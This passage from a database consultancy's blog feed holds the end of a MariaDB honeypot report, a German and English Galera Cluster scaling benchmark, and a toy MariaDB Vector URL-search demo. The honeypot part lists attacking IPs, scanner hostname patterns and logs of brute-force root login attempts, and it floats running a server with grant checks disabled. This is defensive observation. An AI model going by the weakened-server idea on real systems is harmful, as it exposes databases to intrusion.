Ein weiteres Muster, welches wir gesehen habe, sind Pakete in falscher Reihenfolge. Ob das Absicht ist oder mit dem Netzwerk zwischen Angreifer und Datenbank zu tun hat kann zur Zeit nicht gesagt werden (die IPs sollen aus Italien, USA und 2 x Schweden stammen).

Quellen: 45.91.171.169 45.147.250.222 20.168.122.53 91.223.169.88

Beispiel:

[ERROR] mariadbd: Got packets out of order [Warning] Aborted connection 49 to db: 'unconnected' user: 'unauthenticated' host: '103.45.246.42' (This connection closed normally without authentication) Unvollständiger Verbindungsaufbau (51 x)

Quellen: 80.82.70.133 194.165.16.167 162.142.125.208 205.210.31.204 104.248.130.34 198.235.24.96 209.38.99.93 171.36.7.2 34.77.151.17 118.193.33.60 147.185.132.118 88.214.25.121 198.235.24.129 188.166.68.252 118.193.43.158 206.189.5.176 205.210.31.178 165.22.187.120 45.142.193.153 196.251.90.186 134.209.221.50 89.185.82.115 104.248.229.49 198.235.24.72 35.205.56.72 198.235.24.28 43.248.108.8 167.71.184.54 205.210.31.70 154.212.141.215 89.248.174.130 154.212.141.212 198.235.24.164 34.140.35.166 167.94.146.56 167.94.145.101 167.94.145.98 103.149.26.234 167.94.146.49 137.184.64.140 167.94.145.104 167.94.146.59 170.64.154.53 165.22.188.115 185.47.172.136 199.45.154.148 162.142.125.207 162.142.125.47 147.185.132.108 20.171.28.254 103.203.57.18

und ebenfalls von diesen Netzen (Internet-Monitoring und AWS):

Quellen: {larry|sharon|susan}.probe.onyphe.net {poetic|glowing|principled].monitoring.internet-measurement.com prod-{boron|barium}-{sfo2|us-central|us-east|nyc1|us-southeast}-{\d{2,3}}.{do|li}.binaryedge.ninja azpd{\w{5,8}}.stretchoid.com scan-{\d{2}[a-z]}.shadowserver.org pdcscan{2,3}.scanning.cybcube.com ec2-{\w*}[us-east-2]?.compute[-1]?.amazonaws.com

Beispiel:

[Warning] Aborted connection 325749 to db: 'unconnected' user: 'unauthenticated' host: '137.184.64.140' (This connection closed normally without authentication) ... 0, 1, 4, 5, 8, 9, 10 Wiederholungen Zugriffsversuch mittels regulärem Connect Versuche OHNE Passwort (40x)

Quellen: 196.251.91.50 196.251.114.6 196.251.90.139 196.251.91.43 196.251.114.27 196.251.114.6 196.251.90.186 196.251.114.27 196.251.91.89 196.251.91.47 196.251.91.50 196.251.90.139 196.251.91.69 196.251.91.89 196.251.114.10 196.251.114.6 196.251.91.90 196.251.91.87 196.251.115.18 196.251.114.98 196.251.115.18 196.251.91.89 196.251.115.26 196.251.83.97 196.251.91.53 196.251.90.139 196.251.90.186 34.140.170.97 196.251.91.50 196.251.91.90 196.251.85.11 196.251.91.55 196.251.83.125 196.251.91.80 196.251.83.97 196.251.91.78

Beispiel:

[Warning] Access denied for user 'root'@'196.251.91.69' (using password: NO) Versuche OHNE und dann MIT Passwort (28 x)

Quellen: 165.154.172.87 165.154.164.92 128.14.237.43 196.251.69.185 37.19.221.171 196.251.118.8 196.251.91.78 196.251.69.185 196.251.91.77 196.251.91.19 196.251.91.78 196.251.91.44 196.251.118.47 196.251.91.32 45.129.56.161 196.251.91.27 196.251.91.19 196.251.91.19 146.70.132.164 196.251.86.26 196.251.91.78 196.251.69.185 196.251.83.136 196.251.91.52 38.240.225.39 196.251.91.27 196.251.69.185 196.251.91.51

Beispiel:

[Warning] Access denied for user 'root'@'196.251.80.168' (using password: NO) [Warning] Access denied for user 'root'@'196.251.80.168' (using password: YES) ... 1, 2, 3, 13, 27, 28, 37 Wiederholungen Komplexere Zugriffsversuche mittels Port probing und regulärem Connect (15 x)

Quellen: 8.219.222.66 47.250.81.7 8.219.222.66 34.76.203.56 8.221.136.6 47.254.192.213 (6 x)

Beispiel:

[Warning] Aborted connection 1134 to db: 'unconnected' user: 'unauthenticated' host: '47.254.192.213' (This connection closed normally without authentication) [Warning] Access denied for user 'root'@'47.254.192.213' (using password: NO)

Quelle: 45.150.237.21 (1 x)

Beispiel:

[Warning] Aborted connection 22965 to db: 'unconnected' user: 'unauthenticated' host: '45.150.237.21' (This connection closed normally without authentication) ... 9 Wiederholungen [Warning] Access denied for user ''@'45.150.237.21' (using password: NO)

Quellen: 101.36.122.183 152.32.150.7 152.32.245.170 118.193.58.125 165.154.48.24 107.150.117.219 116.90.238.220 165.154.100.58 (8 x)

Beispiel:

[Warning] Aborted connection 2816 to db: 'unconnected' user: 'unauthenticated' host: '165.154.100.58' (This connection closed normally without authentication) ... 0, 1 Wiederholungen [Warning] Access denied for user ''@'165.154.100.58' (using password: NO) [Warning] Access denied for user 'root'@'165.154.100.58' (using password: YES) ... 0, 48 Widerholungen Komplexere Zugriffsversuche mittels regulärem Connect und Port probing (3 x)

Quelle: 104.193.135.104 (1 x)

Beispiel:

[Warning] Access denied for user 'root'@'104.193.135.104' (using password: NO) [Warning] Aborted connection 47 to db: 'unconnected' user: 'unauthenticated' host: '104.193.135.104' (This connection closed normally without authentication)

Quelle: 196.251.91.18 (1 x)

Beispiel::

[Warning] Access denied for user 'root'@'196.251.91.18' (using password: NO) [Warning] Access denied for user 'root'@'196.251.91.18' (using password: YES) ... 3 Wiederholungen [Warning] Aborted connection 1013 to db: 'unconnected' user: 'unauthenticated' host: '196.251.91.18' (This connection closed normally without authentication)

Quelle: 94.102.49.155 (1 x)

Beispiel::

[Warning] Access denied for user 'root'@'94.102.49.155' (using password: NO) [Warning] Access denied for user 'root'@'94.102.49.155' (using password: YES) ... 1 Wiederholungen [Warning] Aborted connection 1389 to db: 'unconnected' user: 'unauthenticated' host: '94.102.49.155' (This connection closed normally without authentication) [Warning] Access denied for user 'root'@'94.102.49.155' (using password: YES) ... 3 Wiederholungen

Diese Muster sind im beobachteten Zeitraum selten aufgetreten.

Fazit

Lösegeld bei Cybercrime zu zahlen lohnt sich nicht!

Outlook / Todoes

Weiter Punkte die man das nächste mal klären, verfeinern und optimieren könnte:

Passwörter herausfinden, mit welchen probiert wird. Ev. MariaDB patchen?
Etwas mehr spannende Daten zur Verfügung stellen und schauen was dann genau passiert.
Mehrere verschiedene Angriffe aufzeichnen (auf IP gefiltert?). Ev. aus verschiedenen Ländern (USA, China, Russland, Ukraine, ...)
Man könnte auch versuchen den Honeypot mit skip_grant_tables zu betreiben um Zugriffe mit Passwort zu ermöglichen?
log_warnings is mit 9 zu verbose eingestellt. Ev. reicht der Default?
Zugriff mit SSL only? Schauen ob TLS schon jemand kann.
Galera Protokoll? War das wirklich ein Angriff oder nur ein Problem im Netzwerk/mit dem Galera Cluster?
Das selbe Spiel mit MySQL machen um zu sehen, ob hier andere Angriffsmuster erfolgen.

Taxonomy upgrade extras: mariadb honeypot security

Categories: FromDual all (de), FromDual TechFeed (de)

How does Galera Cluster behave with many nodes?

Shinguz - Fri, 2025-01-24 18:12

Recently I had the opportunity to have a lot of Linux systems (VMs with Rocky Linux 9) from one of our regular Galera Cluster trainings all to myself for a week. And MariaDB 11.4.4 with Galera Cluster was already installed on the machines.

Since I had long wanted to try out how a Galera Cluster behaves with an increasing number of nodes, now was the opportunity to try it out.

The following questions were to be answered:

How does the throughput of a Galera cluster behave depending on the number of Galera nodes?
Which configuration gives us the highest throughput?

A total of 5 different test parameters were experimented with:

Number of Galera nodes.
Number of client machines (= instances).
Number of threads per client (--threads=).
Number of Galera threads (wsrep_slave_threads).
Runtime of the tests. This parameter was varied because some tests were cancelled during the run. It may be possible to eliminate this parameter with a lower rate (--rate) in the load test. As it turned out, it did have an influence on the result or the measured throughput (e.g. test 4b and 5 or 18 and 19).

A total of 35 different tests were run. See raw data.

Throughput as a function of the number of Galera nodes

Throughput related to # nodes Test# gal nodes# threads/clientruntime [s]tpsruntime [s] 718180596.3180 828180567.8180 938180531.9180 1148180495.2180 1258180492.2180 1368180502.9180 1478180459.5180 1588180458.6180 1698180429.2180

The throughput in the Galera cluster decreased slightly from 600 tps to 430 tps (28%) when the number of nodes was increased from 1 to 9.

Throughput as a function of the number of connections

The main variation here was with the number of clients and threads per client. The optimum seems to be 30 - 40 connections in this setup. Varying the number of Galera threads (wsrep_slave_threads) does not seem to have had much effect in our case. The system does not seem to be able to deliver much more than 1200 tps. In particular, the machines of the described Galera nodes did not have too much CPU idle time.

Total # connections vs. throughput Test# client nodes# threads/client# con tot# gal threadsruntime [s]tps 161881180429.2 1728161180684.5 1838241180603.8 1938241120925.2 2038241120919.8 21483211201081.1 22584011201196.0 23584041201132.2 23b584081201106.0 245168041201233.8 2553216041201095.7 Throughput as a function of all possible parameters

By further varying the parameters, in particular by reducing the number of Galera nodes from 9 to 3, the throughput could be further increased from just under 1200 to just over 1400 tps.

Throughput related to various different parameters Test# gal nodes# client nodes# threads/client# con tottps 23958401132.2 23b958401106.0 249516801233.8 2595321601095.7 2685321601132.4 2775321601207.6 286516801333.3 29558401278.6 30558401281.5 31458401374.1 32358401304.3 33368481428.9

With the given hardware, there seems to be an optimum somewhere around 3 Galera nodes and approx. 40 connections. More detailed clarifications would be interesting here...

Statistical Design of Experiments (DoE)

Here it would be exciting to work with the method of statistical design of experiments to determine this optimum more precisely or to find it more quickly.

Mettler Toledo: DoE - Statistical Design of Experiments - A statistical approach to reaction optimisation.
Wikipedia.en: Statistical design of experiments..
Design of Experiments - DoE.
Novustat: Quality Engineering: Statistical Design of Experiments - Our ultimate overview!.

Hardware specification

VM's from Hetzner: CX22 (2 vCPU, 4 Gibyte RAM (effective: 3.5 Gibyte (why that?)), 40 Gibyte disc)

Architecture: x86_64 CPU op-mode(s): 32-bit, 64-bit Address sizes: 40 bits physical, 48 bits virtual Byte Order: Little Endian CPU(s): 2 On-line CPU(s) list: 0,1 Vendor ID: GenuineIntel BIOS Vendor ID: QEMU Model name: Intel Xeon Processor (Skylake, IBRS, no TSX) BIOS Model name: NotSpecified CPU family: 6 Model: 85 Thread(s) per core: 1 Core(s) per socket: 2 Socket(s): 1 Stepping: 4 BogoMIPS: 4589.21 Flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl xtopology cpuid tsc_known_freq pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2a pic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch cpuid_fault pti ssbd ibrs ibpb fsgsbase bmi1 avx2 smep bmi2 erms invpcid avx512f avx512dq rdseed adx smap clwb avx512cd avx512bw avx512vl xs aveopt xsavec xgetbv1 xsaves arat pku ospke md_clear Virtualization features: Hypervisor vendor: KVM Virtualization type: full Caches (sum of all): L1d: 64 KiB (2 instances) L1i: 64 KiB (2 instances) L2: 8 MiB (2 instances) L3: 16 MiB (1 instance) Benchmark tool / load generator

sysbench was used as a load generator.

# dnf install epel-release # dnf install sysbench

Each client runs on its own scheme to avoid Galera cluster conflicts. In reality, this is not always the case, but it is the optimal case for Galera.

SQL> CREATE DATABASE sbtest<n>;

Each client connects to a different Galera node (1 - 6 clients distributed on 1 - 9 Galera nodes).

GALERA_IP=<galera_ip> DATABASE=sbtest<n> # sysbench oltp_common --mysql-host=${GALERA_IP} --mysql-user=app --mysql-password=secret --mysql-db=${DATABASE} --db-driver=mysql prepare # sysbench oltp_read_write --time=180 --db-driver=mysql --mysql-host=${GALERA_IP} --mysql-user=app --mysql-password=secret --mysql-db=${DATABASE} --threads=8 --rate=1000 --report-interval=1 run # sysbench oltp_common --mysql-host=${GALERA_IP} --mysql-user=app --mysql-password=secret --mysql-db=${DATABASE} --db-driver=mysql cleanup MariaDB and Galera configuration [server] binlog_format = row innodb_autoinc_lock_mode = 2 innodb_flush_log_at_trx_commit = 2 query_cache_size = 0 query_cache_type = 0 wsrep_on = on wsrep_provider = /usr/lib64/galera-4/libgalera_smm.so wsrep_cluster_address = "gcomm://10.0.0.2,10.0.0.3,10.0.0.4,10.0.0.5,10.0.0.6,10.0.0.7,10.0.0.8,10.0.0.9,10.0.0.10,10.0.0.11,10.0.0.12,10.0.0.13,10.0.0.14,10.0.0.15,10.0.0.16,10.0.0.17" wsrep_cluster_name = 'Galera Cluster' wsrep_node_address = 10.0.0.2 wsrep_sst_method = rsync wsrep_sst_auth = sst:secret Raw data

Taxonomy upgrade extras: galera galera cluster scaling scalability cluster throughput

Categories: FromDual all (en), FromDual TechFeed (en), MySQL Tech-Feed (en)

Wie verhält sich Galera Cluster mit vielen Knoten?

Oli Sennhauser - Fri, 2025-01-24 17:29

Kürzlich hatte ich die Gelegenheit ganz viele Linux Systeme (VMs mit Rocky Linux 9) aus einer unserer regelmässig stattfindenden Galera Cluster Schulungen eine Woche lang ganz für mich alleine zur freien Verfügung zu haben. Und auf den Maschinen war auch schon ein MariaDB 11.4.4 mit Galera Cluster installiert.

Da ich schon lange mal ausprobieren wollte, wie sich ein Galera Cluster mit zunehmender Anzahl Knoten verhält, war jetzt die Gelegenheit dies mal auszuprobieren.

Die folgenden Fragestellung sollten beantwortet werden:

Wie verhält sich der Durchsatz eines Galera Clusters in Abhängigkeit der Anzahl Galera-Knoten?
Mit welcher Konfiguration erhalten wir den grössten Durchsatz?

Insgesamt wurde mit 5 verschiedenen Versuchs-Parameter experimentiert:

Anzahl Galera Knoten.
Anzahl Client Maschinen (= Instanzen).
Anzahl Threads pro Client (--threads=).
Anzahl Galera Threads (wsrep_slave_threads).
Laufzeit der Tests. Dieser Parameter wurde variiert weil einige Tests während des Laufs abgebrochen sind. Möglicherweise kann mit einer kleineren Rate (--rate) im Lasttest dieser Parameter eliminiert werden. Wie sich zeigte, hatte er sehr wohl einen Einfluss auf das Resultat bzw. den gemessenen Durchsatz (z.B. Test 4b und 5 bzw. 18 und 19).

Insgesamt wurde 35 verschiedene Tests gefahren. Siehe Rohdaten.

Durchsatz in Abhängigkeit der Anzahl Galera Knoten

Throughput related to # nodes Test# gal nodes# threads/clientruntime [s]tpsruntime [s] 718180596.3180 828180567.8180 938180531.9180 1148180495.2180 1258180492.2180 1368180502.9180 1478180459.5180 1588180458.6180 1698180429.2180

Der Durchsatz im Galera Cluster nahm leicht von 600 tps auf 430 tps ab (28%) wenn die Anzahl Knoten von 1 auf 9 erhöht wurde.

Durchsatz in Abhängigkeit der Anzahl Verbindungen

Hier wurde vor allem mit der Anzahl der Clients und der Threads pro Client variiert. Bei 30 - 40 Connections scheint in diesem Setup das Optimum zu liegen. Das variieren der Anzahl Galera Threads (wsrep_slave_threads) scheint in unserem Fall nicht sonderlich viel bewirkt zu haben. Wesentlich mehr als 1200 tps scheint das System nicht herzugeben. Insbesondere haben auch die Maschinen der beschriebene Galera Knoten nicht mehr allzu viel CPU Idle Zeit gehabt.

Total # connections vs. throughput Test# client nodes# threads/client# con tot# gal threadsruntime [s]tps 161881180429.2 1728161180684.5 1838241180603.8 1938241120925.2 2038241120919.8 21483211201081.1 22584011201196.0 23584041201132.2 23b584081201106.0 245168041201233.8 2553216041201095.7 Durchsatz in Abhängigkeit aller möglichen Parametern

Mit dem weiteren Variieren der Parameter insbesondere dem Reduzieren der Anzahl Galera Knoten von 9 auf 3 konnte der Durchsatz von knapp unter 1200 auf knapp über 1400 tps weiter erhöht werden.

Throughput related to various different parameters Test# gal nodes# client nodes# threads/client# con tottps 23958401132.2 23b958401106.0 249516801233.8 2595321601095.7 2685321601132.4 2775321601207.6 286516801333.3 29558401278.6 30558401281.5 31458401374.1 32358401304.3 33368481428.9

Es scheint also, mit gegebener Hardware irgendwo ein Optimum zu geben welches sich um 3 Galera Knoten und ca 40 Connections befindet. Genauere Abklärungen wären hier spannend...

Statistische Versuchsplanung / Design of Experiments (DoE)

Hier wäre es noch spannend mit der Methode der statistischen Versuchsplanung zu arbeiten um dieses Optimum genauer zu bestimmen bzw. schneller zu finden.

Mettler Toledo: DoE - Statistische Versuchsplanung - Ein statistischer Ansatz zur Reaktionsoptimierung.
Wikipedia.de: Statistische Versuchsplanung.
Versuchsplanung - DoE - Design of Experiments.
Novustat: Quality Engineering: Statistische Versuchsplanung – Unser ultimativer Überblick!.

Harware Spezifikation

VM's von Hetzner: CX22 (2 vCPU, 4 Gibyte RAM (effektiv: 3.5 Gibyte (warum das?)), 40 Gibyte Disk)

Architecture: x86_64 CPU op-mode(s): 32-bit, 64-bit Address sizes: 40 bits physical, 48 bits virtual Byte Order: Little Endian CPU(s): 2 On-line CPU(s) list: 0,1 Vendor ID: GenuineIntel BIOS Vendor ID: QEMU Model name: Intel Xeon Processor (Skylake, IBRS, no TSX) BIOS Model name: NotSpecified CPU family: 6 Model: 85 Thread(s) per core: 1 Core(s) per socket: 2 Socket(s): 1 Stepping: 4 BogoMIPS: 4589.21 Flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl xtopology cpuid tsc_known_freq pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2a pic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch cpuid_fault pti ssbd ibrs ibpb fsgsbase bmi1 avx2 smep bmi2 erms invpcid avx512f avx512dq rdseed adx smap clwb avx512cd avx512bw avx512vl xs aveopt xsavec xgetbv1 xsaves arat pku ospke md_clear Virtualization features: Hypervisor vendor: KVM Virtualization type: full Caches (sum of all): L1d: 64 KiB (2 instances) L1i: 64 KiB (2 instances) L2: 8 MiB (2 instances) L3: 16 MiB (1 instance) Benchmark-Tool / Last-Generator

Als Last-Generator wurde sysbench verwendet.

# dnf install epel-release # dnf install sysbench

Jeder Client läuft auf seinem eigenen Schema um Galera Cluster Konflikte zu vermeiden. Dies ist in der Realität nicht in jedem Fall gegeben, stellt aber für Galera den optimalen Fall dar.

SQL> CREATE DATABASE sbtest<n>;

Jeder Client verbindet sich auf einen anderen Galera Knoten (1 - 6 Clients verteilt auf 1 - 9 Galera Knoten).

GALERA_IP=<galera_ip> DATABASE=sbtest<n> # sysbench oltp_common --mysql-host=${GALERA_IP} --mysql-user=app --mysql-password=secret --mysql-db=${DATABASE} --db-driver=mysql prepare # sysbench oltp_read_write --time=180 --db-driver=mysql --mysql-host=${GALERA_IP} --mysql-user=app --mysql-password=secret --mysql-db=${DATABASE} --threads=8 --rate=1000 --report-interval=1 run # sysbench oltp_common --mysql-host=${GALERA_IP} --mysql-user=app --mysql-password=secret --mysql-db=${DATABASE} --db-driver=mysql cleanup MariaDB und Galera Konfiguration [server] binlog_format = row innodb_autoinc_lock_mode = 2 innodb_flush_log_at_trx_commit = 2 query_cache_size = 0 query_cache_type = 0 wsrep_on = on wsrep_provider = /usr/lib64/galera-4/libgalera_smm.so wsrep_cluster_address = "gcomm://10.0.0.2,10.0.0.3,10.0.0.4,10.0.0.5,10.0.0.6,10.0.0.7,10.0.0.8,10.0.0.9,10.0.0.10,10.0.0.11,10.0.0.12,10.0.0.13,10.0.0.14,10.0.0.15,10.0.0.16,10.0.0.17" wsrep_cluster_name = 'Galera Cluster' wsrep_node_address = 10.0.0.2 wsrep_sst_method = rsync wsrep_sst_auth = sst:secret Rohdaten

Taxonomy upgrade extras: galera galera cluster cluster skalierbarkeit durchsatz

Categories: FromDual all (de), FromDual TechFeed (de)

Playing with MariaDB Vector for initial AI tests

Shinguz - Wed, 2024-08-28 10:51

Artificial intelligence (AI) and vector databases are on everyone's lips these days. Since MariaDB will soon be coming onto the market with vector database functionality, as a database consultant I thought it was about time I got to grips with the subject so that I have at least a hint of what it's all about...

Since I'm not so much of a theoretician but rather like to do something practical, I've built a small "AI" prototype that anyone can build very quickly and easily on their laptop (without a GPU)...

I also took the liberty of stealing the graphs from the MariaDB Foundation presentation (see sources at the end).

Downloading the MariaDB database with vector functionality

There are no MariaDB packages with vector functionality yet, but the source code is already available. So you can quickly build the binaries yourself. This took just under an hour on my old box. Once the binaries are built, you can make a tarball out of them:

# tar xf mariadb-11.6.0_vector.tar.gz # cd mariadb-11.6.0_vector/ # cmake . # make # make package

The MariaDB database then only needs to be started.

The model

To show the concept of tokenisation I decided to build an AI for URLs and to show the concept of different models and their potential for improvement I built a very stupid model in PHP, which simply decomposes a URL.

The question that this model should be able to answer is: "Give me similar URLs to the following URL."

The corresponding table looks like this:

DROP TABLE IF EXISTS `urls`; -- TRUNCATE TABLE is NOT sufficient!!! CREATE TABLE `urls` ( `id` INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY , `url` varchar(1024) DEFAULT NULL , `title` varchar(2000) DEFAULT NULL , `embedding` blob NOT NULL , VECTOR KEY `embedding` (`embedding`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 ;

The model fromdual_llm_v1 can be downloaded here.

This diagram from the MariaDB Foundation shows roughly how the whole thing works:

Training the AI

The database is then trained: The URL is taken as given and the title can be read out using an HTML scraper, for example. Here are 8 training datasets:

The vectors are then generated using our model:

(./fromdual_llm_v1.php https://mariadb.org/download/?t=mariadb&p=mariadb&r=11.6.0+Vector&os=source ./fromdual_llm_v1.php https://mariadb.com/kb/en/creating-the-mariadb-binary-tarball/ ./fromdual_llm_v1.php https://mariadb.org/wp-content/uploads/2024/02/MariaDB-Vector.pdf ./fromdual_llm_v1.php https://mariadb.com/resources/blog/mariadb-vector-preview-is-out/ ./fromdual_llm_v1.php https://mariadb.org/projects/mariadb-vector/ ./fromdual_llm_v1.php https://metacpan.org/pod/Perl::Tokenizer ./fromdual_llm_v1.php https://www.qwak.com/post/utilizing-llms-with-embedding-stores ./fromdual_llm_v1.php https://github.com/qwak-ai/qwak-examples/tree/main/qa_bot_falcon_chroma) | grep '^\[' [0.2, 0.0107421875, 0, 0, 0, 0.0006103515625, 0.00054931640625, 0] [0.2, 0.0107421875, 0, 0, 0, 0.00262451171875, 0, 0] [0.2, 0.0107421875, 0, 0, 0, 0.0028076171875, 0, 0] [0.2, 0.0107421875, 0, 0, 0, 0.0028076171875, 0, 0] [0.2, 0.0107421875, 0, 0, 0, 0.00152587890625, 0, 0] [0.2, 0.01171875, 0, 0, 0, 0.001220703125, 0, 0] [0.2, 0.01171875, 0, 0, 0, 0.0025634765625, 0, 0] [0.2, 0.009765625, 0, 0, 0, 0.00323486328125, 0, 0]

The database is now fed (trained) with these vectors:

INSERT INTO `urls` (id, url, title, embedding) VALUES ( NULL , 'https://mariadb.org/download/?t=mariadb&p=mariadb&r=11.6.0+Vector&os=source' , 'Download MariaDB Server' , VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.00262451171875, 0, 0]') ); INSERT INTO `urls` (id, url, title, embedding) VALUES ( NULL , 'https://mariadb.com/kb/en/creating-the-mariadb-binary-tarball/' , 'Creating the MariaDB Binary Tarball' , VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.0006103515625, 0.00054931640625, 0]') ); INSERT INTO `urls` (id, url, title, embedding) VALUES ( NULL , 'https://mariadb.org/wp-content/uploads/2024/02/MariaDB-Vector.pdf' , 'MariaDB Vector' , VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.0028076171875, 0, 0]') ); INSERT INTO `urls` (id, url, title, embedding) VALUES ( NULL , 'https://mariadb.com/resources/blog/mariadb-vector-preview-is-out/' , 'MariaDB Vector preview is out' , VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.0028076171875, 0, 0]') ); INSERT INTO `urls` (id, url, title, embedding) VALUES ( NULL , 'https://mariadb.org/projects/mariadb-vector/' , 'MariaDB Vector' , VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.00152587890625, 0, 0]') ); INSERT INTO `urls` (id, url, title, embedding) VALUES ( NULL , 'https://metacpan.org/pod/Perl::Tokenizer' , 'Perl::Tokenizer - A tiny Perl code tokenizer' , VEC_FromText('[0.2, 0.01171875, 0, 0, 0, 0.001220703125, 0, 0]') ); INSERT INTO `urls` (id, url, title, embedding) VALUES ( NULL , 'https://www.qwak.com/post/utilizing-llms-with-embedding-stores' , 'Integrating Vector Databases with LLMs: A Hands-On Guide' , VEC_FromText('[0.2, 0.01171875, 0, 0, 0, 0.0025634765625, 0, 0]') ); INSERT INTO `urls` (id, url, title, embedding) VALUES ( NULL , 'https://github.com/qwak-ai/qwak-examples/tree/main/qa_bot_falcon_chroma' , 'LLM Model Enhanced with Vector DB' , VEC_FromText('[0.2, 0.009765625, 0, 0, 0, 0.00323486328125, 0, 0]') );

Here is an overview of what is now in the database:

SELECT id, url, title, VEC_ToText(embedding) FROM urls ; +----+-----------------------------------------------------------------------------+----------------------------------------------------------+---------------------------------------------------------------------------+ | id | url | title | VEC_ToText(embedding) | +----+-----------------------------------------------------------------------------+----------------------------------------------------------+---------------------------------------------------------------------------+ | 1 | https://mariadb.org/download/?t=mariadb&p=mariadb&r=11.6.0+Vector&os=source | Download MariaDB Server | [0.200000,0.010742,0.000000,0.000000,0.000000,0.002625,0.000000,0.000000] | | 2 | https://mariadb.com/kb/en/creating-the-mariadb-binary-tarball/ | Creating the MariaDB Binary Tarball | [0.200000,0.010742,0.000000,0.000000,0.000000,0.000610,0.000549,0.000000] | | 3 | https://mariadb.org/wp-content/uploads/2024/02/MariaDB-Vector.pdf | MariaDB Vector | [0.200000,0.010742,0.000000,0.000000,0.000000,0.002808,0.000000,0.000000] | | 4 | https://mariadb.com/resources/blog/mariadb-vector-preview-is-out/ | MariaDB Vector preview is out | [0.200000,0.010742,0.000000,0.000000,0.000000,0.002808,0.000000,0.000000] | | 5 | https://mariadb.org/projects/mariadb-vector/ | MariaDB Vector | [0.200000,0.010742,0.000000,0.000000,0.000000,0.001526,0.000000,0.000000] | | 6 | https://metacpan.org/pod/Perl::Tokenizer | Perl::Tokenizer - A tiny Perl code tokenizer | [0.200000,0.011719,0.000000,0.000000,0.000000,0.001221,0.000000,0.000000] | | 7 | https://www.qwak.com/post/utilizing-llms-with-embedding-stores | Integrating Vector Databases with LLMs: A Hands-On Guide | [0.200000,0.011719,0.000000,0.000000,0.000000,0.002563,0.000000,0.000000] | | 8 | https://github.com/qwak-ai/qwak-examples/tree/main/qa_bot_falcon_chroma | LLM Model Enhanced with Vector DB | [0.200000,0.009766,0.000000,0.000000,0.000000,0.003235,0.000000,0.000000] | +----+-----------------------------------------------------------------------------+----------------------------------------------------------+---------------------------------------------------------------------------+
Search in the MariaDB vector database

Now comes the exciting part of the whole story: Can we also find something in our MariaDB vector database with URLs?

How this works schematically can again be seen in the MariaDB Foundation diagram:

The first attempt is a perfect match:

./fromdual_llm_v1.php https://mariadb.org/projects/mariadb-vector/ [0.2, 0.0107421875, 0, 0, 0, 0.00152587890625, 0, 0] SELECT id, url, title, VEC_ToText(embedding) FROM urls ORDER BY VEC_DISTANCE(embedding, VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.00152587890625, 0, 0]')) LIMIT 3 ; +----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+ | id | url | title | VEC_ToText(embedding) | +----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+ | 5 | https://mariadb.org/projects/mariadb-vector/ | MariaDB Vector | [0.200000,0.010742,0.000000,0.000000,0.000000,0.001526,0.000000,0.000000] | | 6 | https://metacpan.org/pod/Perl::Tokenizer | Perl::Tokenizer - A tiny Perl code tokenizer. | [0.200000,0.011719,0.000000,0.000000,0.000000,0.001221,0.000000,0.000000] | | 2 | https://mariadb.com/kb/en/creating-the-mariadb-binary-tarball/ | Creating the MariaDB Binary Tarball | [0.200000,0.010742,0.000000,0.000000,0.000000,0.000610,0.000549,0.000000] | +----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+

The first row matches 100%. Then the results get much worse relatively quickly...

Second attempt a similar URL:

./fromdual_llm_v1.php https://mariadb.com/kb/en/e4201/ [0.2, 0.0107421875, 0, 0, 0, 0.00079345703125, 0, 0] SELECT id, url, title, VEC_ToText(embedding) FROM urls ORDER BY VEC_DISTANCE(embedding, VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.00079345703125, 0, 0]')) LIMIT 3 ; +----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+ | id | url | title | VEC_ToText(embedding) | +----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+ | 2 | https://mariadb.com/kb/en/creating-the-mariadb-binary-tarball/ | Creating the MariaDB Binary Tarball | [0.200000,0.010742,0.000000,0.000000,0.000000,0.000610,0.000549,0.000000] | | 5 | https://mariadb.org/projects/mariadb-vector/ | MariaDB Vector | [0.200000,0.010742,0.000000,0.000000,0.000000,0.001526,0.000000,0.000000] | | 6 | https://metacpan.org/pod/Perl::Tokenizer | Perl::Tokenizer - A tiny Perl code tokenizer. | [0.200000,0.011719,0.000000,0.000000,0.000000,0.001221,0.000000,0.000000] | +----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+

Here I would expect only mariadb URLs among the first 3 hits. But this is not the case. So our model still has room for improvement here!

And another similar URL:

./fromdual_llm_v1.php https://mariadb.com/kb/en/vec_totext/ [0.2, 0.0107421875, 0, 0, 0, 0.0010986328125, 0, 0] SELECT id, url, title, VEC_ToText(embedding) FROM urls ORDER BY VEC_DISTANCE(embedding, VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.0010986328125, 0, 0]')) LIMIT 3 ; +----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+ | id | url | title | VEC_ToText(embedding) | +----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+ | 5 | https://mariadb.org/projects/mariadb-vector/ | MariaDB Vector | [0.200000,0.010742,0.000000,0.000000,0.000000,0.001526,0.000000,0.000000] | | 2 | https://mariadb.com/kb/en/creating-the-mariadb-binary-tarball/ | Creating the MariaDB Binary Tarball | 